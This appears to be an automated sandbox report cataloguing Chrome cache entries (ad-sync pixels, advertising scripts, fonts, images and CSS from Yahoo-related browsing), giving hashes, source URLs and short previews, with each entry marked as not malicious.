Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537148856%26val%3D%24%7BTM_USER_ID%7D"><img src="https://pr-bh.ybp.yahoo.com/sync/openx/506d2521-5df0-a637-7034-cfa89feebdbf?gdpr=0"><img src="https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=9c7c3f18-d1f6-8f84-81ed-5bca088abb16"><img src="https://match.adsrvr.org/track/cmf/openx?oxid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=ZThjNTkwYWYtMDQyYi02YWRhLTU0MDMtODNlNGFhNWJiZTk2"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_cm&google_sc">..</body>.</html>.

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65354)
Category:	downloaded
Size (bytes):	98590
Entropy (8bit):	5.262081609860911
Encrypted:	false
SSDEEP:	1536:l6uJO46KoxxmzxgwyPtXjgypu5DUWCsHEGh363pz1ndumnf:KrxhPSyp0R63pR7
MD5:	93C71F7FAF9DCA7767823C99109C81D3
SHA1:	01E7B25914D48BB4DD3CD2E6F60CFCD99CAA10EF
SHA-256:	66776998B10E583A72F8FD29391A50E2C80EB3BC9A65B0DAFE97E576D7D88507
SHA-512:	3E02E2F714D1FB066FFD376FACFD936E75D01D6862D4F7FC353B1D0E725FE3294BBAAE85268DB46541AC7B55D44AC8721A685113FA0D8FD617B323D6DE768B7A
Malicious:	false
Reputation:	low
URL:	https://static.criteo.net/js/ld/publishertag.prebid.144.js
Preview:	// Hash: ioxxdjHDzFBt50jsKHcULoEjfPjn7FupHUObUXTEulH1iImcaT1OYYq4nXedv+v6ystL/mciw43eN2N1sBqukEcB1G3yLaozwAQoZarIvpe+op2I8dDWCrnmQL5aA3TRFA2hIGMEsGDPdljIfZlxPKB5Tt8rZMkwd8T+7UEJODk=.!function(e){"use strict";var n=function(e,t){return(n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i])})(e,t)};function t(e,t){function i(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}var L=function(){return(L=Object.assign\|\|function(e){for(var t,i=1,n=arguments.length;i<n;i++)for(var r in t=arguments[i])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function i(e,t){var i={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t.indexOf(n)<0&&(i[n]=e[n]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(n=Object.getOwnPropertySymbols(e);r<n.length;r++)t.indexOf(n[r])<0&&Object.prototype.pro

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (594)
Category:	downloaded
Size (bytes):	5311
Entropy (8bit):	5.046822701969818
Encrypted:	false
SSDEEP:	96:duegRhCpwcn4QfbE/XOZjt/r6tCrY6saTGTbAaNkYaySgoaauIfQYCSG8IrW:OhCpwcn4QfbSOttT6MU6saTGTkYaySgq
MD5:	BA0777792CE6C88CB6AC61D50F5ED420
SHA1:	096E3337C3EB08177FC61F058A0A43FE7CC486EC
SHA-256:	2CFC3D9F68235DCA692E8B8D70E2DE1F872D321133005C628D1306AC0D72F225
SHA-512:	C8D17040A8966648EE790EB91235553096BCE4050814696A6F741A8E1C7EA9233EC2CC4005C3918B507B939D3E26A812212A40B87C6CD7CB7E414A627B52D066
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<!doctype html>.<html lang="en">.<head>. <meta charset="UTF-8">. <meta name="viewport". content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">. <meta http-equiv="X-UA-Compatible" content="ie=edge">. <title>Document</title>. <script type="text/javascript">."use strict";..function _slicedToArray(arr, i) { return _arrayWithHoles(arr) \|\| _iterableToArrayLimit(arr, i) \|\| _unsupportedIterableToArray(arr, i) \|\| _nonIterableRest(); }.function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }.function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" \|\| n === "Set") return Array.from(o); i

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.413909765557392
Encrypted:	false
SSDEEP:	3:HwlDKthpH9:QlqvH9
MD5:	129CCA1AE5DA94B012C092337E389063
SHA1:	116751E8A402C01202A3B1C9C3D8148BAFF7CA9B
SHA-256:	41681D4EE54EF4ED76DBDDED9979508FAAB3FA6201E4F4C0585905F6943249C9
SHA-512:	84C82AB02620BC74B77A69B43E63C429D7ECB8535A98D0A5B8E53BCE104D2D99F6BE453D7FBBFDC5EBFDF432EEC4280683E8304D00F598700097C41F9F9F564F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkuCJ8un5mYuxIFDc5BTHoSEAn58K3VB8w4CBIFDblUPGM=?alt=proto
Preview:	CgkKBw3OQUx6GgAKCQoHDblUPGMaAA==

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 16292, version 1.0
Category:	downloaded
Size (bytes):	16292
Entropy (8bit):	7.985605962902917
Encrypted:	false
SSDEEP:	384:wQoF1itcJNQGvehAFXzvSOjtErfSrnyY7Gsk2JnoA7:w3F1VM/hARzPtufSryYSs33
MD5:	CE485A2BDEE361BB271BD6D3CE1EE5CD
SHA1:	4F9A446275D160CCCD6666ADDEE65F849C9C5A50
SHA-256:	923963E0A56B84C4438F2359121E855E147A01A78A2591C471179CFC9BF0E784
SHA-512:	1BF2959F7A4673E53317367BCDE7FC06C53D8C25AC5055CF988266C256B24DC4EA306DD3B0585685FEA84FBF821B2A9A988D86BCB67E3FF88B87523D974D9BF7
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/nunito/v26/XRXI3I6Li01BKofiOc5wtlZ2di8HDLshdTQ3jw.woff2
Preview:	wOF2......?...........??..........................>..n....`?STATH..2........?..L..6.$.... .....%...6....K........L.N..d.......d.V\|...&.Ay..dU...(.......%.Sy U...w.....4-.F4..j....(,..L0.x.}...~.}.g`...$....w.......d5...A..PV.>..9....8Br.B.m.(....Z..S!U.....(Pw.:5.E~...S1..z.l..a0`..bcDm0B.U............2._?.........&.K..0..&.@=..O.G.}...... .zJ+.".RU.Y.`.....{....~.=..t.!... ..$.Pl..1.......~.....Dy.>./..C.....[..l.....Z.(.1..dX}..-..._S...cU..e..."...N...;?..P..v...?..@....M....{,yP.!...E...).6<.V..Vw.n..R...8.C.....d]u............x.. ...b.l.......0.8.0<..nz..Jz.......A-i.'..o....\. .!H...~.V_.Bg..d....f.dk...8"..".WC.q=F3P....>c.o}.....hEA.TP.....f.X.:...c@+.B....f./)...T.B...B!@...f.)....y.8.HH..)..%.IgF..E.#...0.E.W.G8.U}..zc@...E?M..}+..B.qha>.x [q 0...\|..9...i\|.Z.!.LQC.hV..Z..HE #J.\..dRQ....&(.C..CT......cG....z..0_.k&.8.........} .n.)..n.U..*%T...V.....%.@...........5L..HS.L..o....pK/zn...x.W~..;....ROs./..8.../...5.M......uO?.n..y

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2610)
Category:	downloaded
Size (bytes):	8011
Entropy (8bit):	5.331884326981312
Encrypted:	false
SSDEEP:	192:gwC/4V3eAQep77D794AhnEAgMRv09MZ0IkqufOi/5E98Ma:0ApiepH/9HgMRv07Pmi/5EeMa
MD5:	FC384B0CD7ACCE79E1D6F408C423843A
SHA1:	97CDF2F4AD5663C456AD3C57285DE89C40AEDB83
SHA-256:	58DAE867314EA620CA0CC09FC92E623ED546FAA6D35A84800B7305F56947954A
SHA-512:	E5CB8EA5B8B2A6ED11C513B98EFB533495C58EF397E18BF894F5807B4D4ABF4D7059BA1888977490CBA4C75C00F98B652E1BBF2D0C4543F96114524042F76BE0
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/js/r20240424/r20110914/elements/html/omrhp_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var g=this\|\|self;function h(a){h[" "](a);return a}h[" "]=function(){};function l(a){let b=g,c=0;for(;b&&40>c++;){var d=!1;try{var e;if(e=!!b&&null!=b.location.href)b:{try{h(b.foo);e=!0;break b}catch(f){}e=!1}d=e}catch{d=!1}if(d&&a(b))break;a:{try{const f=b.parent;if(f&&f!=b){b=f;break a}}catch{}b=null}}}function n(a,b){if(a)for(const c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)}function p(a=document){return a.createElement("img")};function q(){return new r(a=>a(void 0))}function t(a,b){if(!a.i)if(b instanceof r)b.then(c=>{t(a,c)});else{a.i=!0;a.j=b;for(b=0;b<a.g.length;++b)u(a,a.g[b]);a.g=[]}}function u(a,b){a.i?b(a.j):a.g.push(b)}class r{constructor(a){this.i=!1;this.g=[];a(b=>{t(this,b)})}then(a){return new r(b=>{u(this,c=>{b(a(c))})})}};var w=a=>{let b="https://pagead2.googlesyndication.com/pagead/gen_204?id=rhmss";n(a,(c,d)=>{if(c\|\|0===c)b+=`&${d}=${enc

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (639), with no line terminators
Category:	downloaded
Size (bytes):	639
Entropy (8bit):	4.812944337101308
Encrypted:	false
SSDEEP:	12:uSuIXLwdXdBMVs7ZjcQuznQ5y5Xd/d0k5+U/sDAcQuznQ5+Ud/d0k5y+f:11XKtHFjUzngy5Xv0sEsUzng/v0syy
MD5:	722E1814C0963774E0F2FA91EE818D41
SHA1:	933D21A2B2A73CDDA33807AF3DCD8A3B1600A43B
SHA-256:	6409A616A1542469BEFFE5FDE5C99FE8F4AEABE76D04B7B1F46BBBEDF2195254
SHA-512:	EDC2D891E0FDC4212374C589AD8DBC58F1712EEA809A82BA5DDF9375E90870C8EDFA59E5DEFF42862F7572F1F9D7E90E715732DA7D991BEB2BA6A2C95FE4DC18
Malicious:	false
Reputation:	low
URL:	https://rtb.mfadsrvr.com/opt-out.js
Preview:	document.addEventListener("DOMContentLoaded",function(){var e=document.querySelector(".adHome"),n=document.querySelector(".adConfig");e.insertBefore(n,e.firstChild);var t=document.querySelectorAll(".adConfigIcon");t.forEach(function(e){e.addEventListener("click",function(e){e.preventDefault(),t.forEach(function(e){e.style.display="none"}),document.querySelector(".adConfigText").style.display="block"})}),document.querySelectorAll(".closeBtn").forEach(function(e){e.addEventListener("click",function(e){e.preventDefault(),t.forEach(function(e){e.style.display="block"}),document.querySelector(".adConfigText").style.display="none"})})});

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.719656786302357
Encrypted:	false
SSDEEP:	3:YQ3/eHiFCxTgf8EEwWLW6n:YQ3GTqEwMW6
MD5:	3D530FEA2DCA0CAA6DB0FB877D195060
SHA1:	C097420D9AE1C4B5A9D91DE21915A80947BFAC29
SHA-256:	721311BEBBA281AAF1874BC3A284AFCB27E31E71F193BF41A281F3CBB16DB5C2
SHA-512:	1239F63C713202878B2E0D8C87D91869A7A26D9B35D6ADE4CDBD5A72BDBED7EB2D50239ED703A9EA073BBFF4A53A6D450EA74EEE3BD6408BE18EC6D1DC24DA89
Malicious:	false
Reputation:	low
Preview:	{"user":{"id":"5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2","isNewUser":false}}

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	863966
Entropy (8bit):	5.761818555051668
Encrypted:	false
SSDEEP:	12288:J7Y9ynl0RXr4Rww8BTvYpyRlHkrY8y+lJ0zi/YZyvllHFxYHy/l5b7F5YmYijbH:ORXr4GBCHXX5H
MD5:	DFA76C457BBD6148714AE15B852A5E93
SHA1:	DF7E0B24E49D4EA88795325A86CAC97B3FFB7A72
SHA-256:	D00FCF4C0659FB6FE1839065ABB18A46FB88F434EEE5884582CDF0F4C2DCCF9F
SHA-512:	EDC00290A1C8A9419AB76C6B2F5056D6A9A8D0FCFB23AB8317FD60107AC92DD92775BA9A9039E443509E458E6B9708DE804F968FCBB1A705CDF12064D2F0EEA0
Malicious:	false
Reputation:	low
Preview:	{"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"amazon;news;weekend-roundup;shopping;shopping;hobbies","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:8ef8bd59-c0f9-498f-b9d3-9b7d58497a48;pt:content;pd:modal;ver:megastrm;pct:story","site_attribute":"wiki_topics=\"Amazon_%28company%29;Amazon_Prime\" ctopid=\"1878000;10610489;1720500\" hashtag=\"amazon;news;weekend-roundup;shopping;1878000;10610489;1720500\" rs=\"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:8ef8bd59-c0f9-498f-b9d3-9b7d58497a48;pt:content;pd:modal;ver:megastrm;lu:0;pct:story\"","spaceid":"1197792446","site":"lifestyle","enabled":true,"pos":"","showBodyAds":false,"showPhotoAds":false},"alias":"ymedia-alias:shadow=the-best-amazon-deals-to-shop-this-weekend-save-up-to-80-on-tech-gadgets-gardening-essentials-and-more-201452417","canonicalUrl":"https://www.yahoo.com/lifestyle/the-best-amazon-deals-to-shop-this-weekend-save-up-t

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&predirect=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dpubmatic%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3236)
Category:	downloaded
Size (bytes):	11824
Entropy (8bit):	5.311110515964322
Encrypted:	false
SSDEEP:	192:OdjQ65BDl+S5XfHfFuSeNRURvyVOYjmekLihBvEtg38lTjLky3RqUJgFVTB2:O2oX+S1p+OYjmjg38bbgFl4
MD5:	94A17D5B2E6EFAC02E9C2F138E6486BC
SHA1:	62A6BDE488CC46BA768FB2AD6D494498BCE1EF6F
SHA-256:	1804CC3E872D5BD50D9420A574023B889944AB3DB2DEFD25613DD30ABE4786BC
SHA-512:	EC31C81DB81A86234C496EED5F494FDA2F0A97A56E62976AF7C5150868D5C6F70B270298ECDC2B9C38465F962F3AE7ADE26682A3807139A938CA6585AB8DC97B
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/js/r20240424/r20110914/elements/html/omrhp.js
Preview:	(function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a}; .function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var da=ca(this);function k(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}} .function m(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if("number"==typeof a.length)return{next:aa(a)};throw Error(String(a)+" is not an iterable or ArrayLike");}function n(a){for(var b,c=[]

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 34, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.732123200569469
Encrypted:	false
SSDEEP:	48:HCPVHbdLb/levTWdqgmGYDQpuYpdKqLxoh5F:HCNHxL4O0QpXKqOt
MD5:	D0E45188F6A8F2E8F2528E762FE55D33
SHA1:	42A007181ABDADCC4C79D03D74B08F39DDDC5127
SHA-256:	DEB2DC4C95EA5B692229713672E7AEAE32B3914BAFCD63F926116D6637BD1976
SHA-512:	0FD2F174A63472217D8BC23DE69DCBCAA1A583DED45152430D1A5BA455F6B1F360815DB34B5C8F96DA7DAAE232DB52197775F7F50955F497D6B664EB93B58800
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......".....V}.....{PLTE............................................................................................................................x.....(tRNS....!.k6...L........)....Y..D..q>.wdS_._.D...'IDATh..Y.0.M............!.^..z.....&.d.......,...@.....m.&x..l....M.-.k4....kZa.........Y..F....=I..jx.C..H..W......e....o.oO.\|..D..?#.D.{~..own...S.........7..K.....<...nA..~.8."q.@....C2...j...>..t}....(..M..@^....a..x..~J8.n{.G..b$..m_%.Y.........X.X)..Y.b.qk..].....`z...1=...vu..dj..7c').h....L..0.+eBC...S.....jyzb.\.........3G1K..`..{Kl..{_%....F.....g....h.)n..F...-&...K....)6...hV.e.#3.N..O,.....~'..s....SZ..!.).0..u.....v.1.....<...F...O.O...@....Bk.j.8[.D.4Y.5...h.-..:dAIzn.)>...\..1.....s.#[.{.....}.+.3....T.w..F.#.aaa.....7.5..QR...Q....].#..n....R..`,q...n..B:..4...=.w.../..fNN...<.P..j.U...D...c.T.(.R.X8..~el..>.h.]]5\....6.-...9#.$.:..a6..1.U..`L.4.%...v....+D.eN.znm....v...H..T....o...;)X.\..0...x..5}B...Q.

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5570), with no line terminators
Category:	downloaded
Size (bytes):	5570
Entropy (8bit):	5.224150317868789
Encrypted:	false
SSDEEP:	96:V6DUauGy2kvP5W7NRHKrmCRFqaLsL2eOt666o2hG:V6DWvP5WxErgOtwRhG
MD5:	2A251A0DDB3D7C4EC13F4E35EE35DD2B
SHA1:	E400B6FBA5E2A71F489AD4FC92D4B2243E90E139
SHA-256:	09BEEED1E13C0CC009D030711289983F71028B3288F1E840ECAAC82BA381C04A
SHA-512:	2301875E90FF6B4C85B1CAF35CF87ED04A7A7F038355827DA63D36BB3FC95A1AF5396CC936E318D078AD624AC7C9A4976436AD2F56814139E837AD82BDADBB8D
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-weather.WeatherPreviewRefresh.atomic.ltr.2a251a0ddb3d7c4ec13f4e35ee35dd2b.min.css
Preview:	#atomic .Ai$c${align-items:center}#atomic .Bdc$--dirty-seagull${border-color:#e0e4e9;border-color:var(--dirty-seagull)}#atomic .Bdc$--pebble${border-color:#c7cdd2;border-color:var(--pebble)}#atomic .Bdc$t${border-color:transparent}#atomic .Bdtc$--dirty-seagull${border-top-color:#e0e4e9;border-top-color:var(--dirty-seagull)}#atomic .Bdendc$--hulk-pants${border-right-color:#7e1fff;border-right-color:var(--hulk-pants)}#atomic .Bds$s${border-style:solid}#atomic .Bdts$s${border-top-style:solid}#atomic .Bdends$s${border-right-style:solid}#atomic .Bdw$0${border-width:0}#atomic .Bdw$1px${border-width:1px}#atomic .Bdtw$1px${border-top-width:1px}#atomic .Bdendw$6px${border-right-width:6px}#atomic .Bdendw$8px${border-right-width:8px}#atomic .Bdrs$100\%${border-radius:100%}#atomic .Bdrs$2px${border-radius:2px}#atomic .Bdrs$4px${border-radius:4px}#atomic .Bdrs$8px${border-radius:8px}#atomic .Bg$--white${background:#fff;background:var(--white)}#atomic .Bg$t${b

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 600x400, components 3
Category:	dropped
Size (bytes):	41115
Entropy (8bit):	7.968945573627706
Encrypted:	false
SSDEEP:	768:TIayE/AM+4AEM0cJzRWghhtsP6vLoHXHgApJfmt0HQJAQrKX1x:LyE/AMxMnN5htsz3HBpxmuHQilx
MD5:	55FCF6A6879CE3F3715DDF3BD4ADFE46
SHA1:	18C29E9C9322CFA608EAB83048D0652895F790A5
SHA-256:	9B0133985330EF93C09C9ACB0255DEF717668747815ED981BE6D3713BDD76DAD
SHA-512:	F3B54C792E54AF2DA134D5ACF8C340D54A107FD5192BC4367D27018877574A9B88AD0247B646F32122E98839F27F1E80B2611C492033AC891CA0AD49DF4E2858
Malicious:	false
Reputation:	low
Preview:	......JFIF........................................................................................................................................................X.."..........................................a..........................!...1A.."Qa#2q.....$BRSrt.........%&3Ue....4Cbcsu...Td...DE.56V.......................................D.........................!1AQq."a.......2......RS..#3r....4Bb..$c.............?..z).....6.m;.b.L&..N.N......b.m..6...^...>..y~J.H^,Q...z....R......QQv......[...G_..!.......{...w..%y^.".D)..;B...'..j..`..@TV..F<{....\.Z....>.e.e..E2.$'.L....S(.B~h.QD..).Q!>.e.HO..E...QD..).Q!>.e.HO..E...QD..3L....S(.B}..(..E2.$'.sB.`.....!P.,J.X=..G.^\|U.$`...T+.b.....c-.p..h.O.z .f.....U.h^M..j....$....Tv.;.j.UU.......W6)jp(V..6........4.>..9TaIV.)6.Vm..i..?....A.....T;h.O.I....ZM..).h......J...)..Q..S.KD.P)...6...S.....R.OD.Bf+.m.......V.!y.g.....p.RTp...>?..R......Q...3D...n...!;u....!;u....4HN.F.nh....Q...3D...n...!;u....4HN.F.nh....Q...3D...n..

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 300x156, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	10912
Entropy (8bit):	7.984503725739007
Encrypted:	false
SSDEEP:	192:sDTYcLZXjsiweNinRKzr3HsudCb4lw8ThCp+d0BbTFX0fvk1fv+A:WYcAQcRKzrMuHJd0BSM1fvr
MD5:	DF7E1D5F8F280553CC592D04A24F47CA
SHA1:	2A6849EB24BF75142C87186C2D55ADA4F63B0BDF
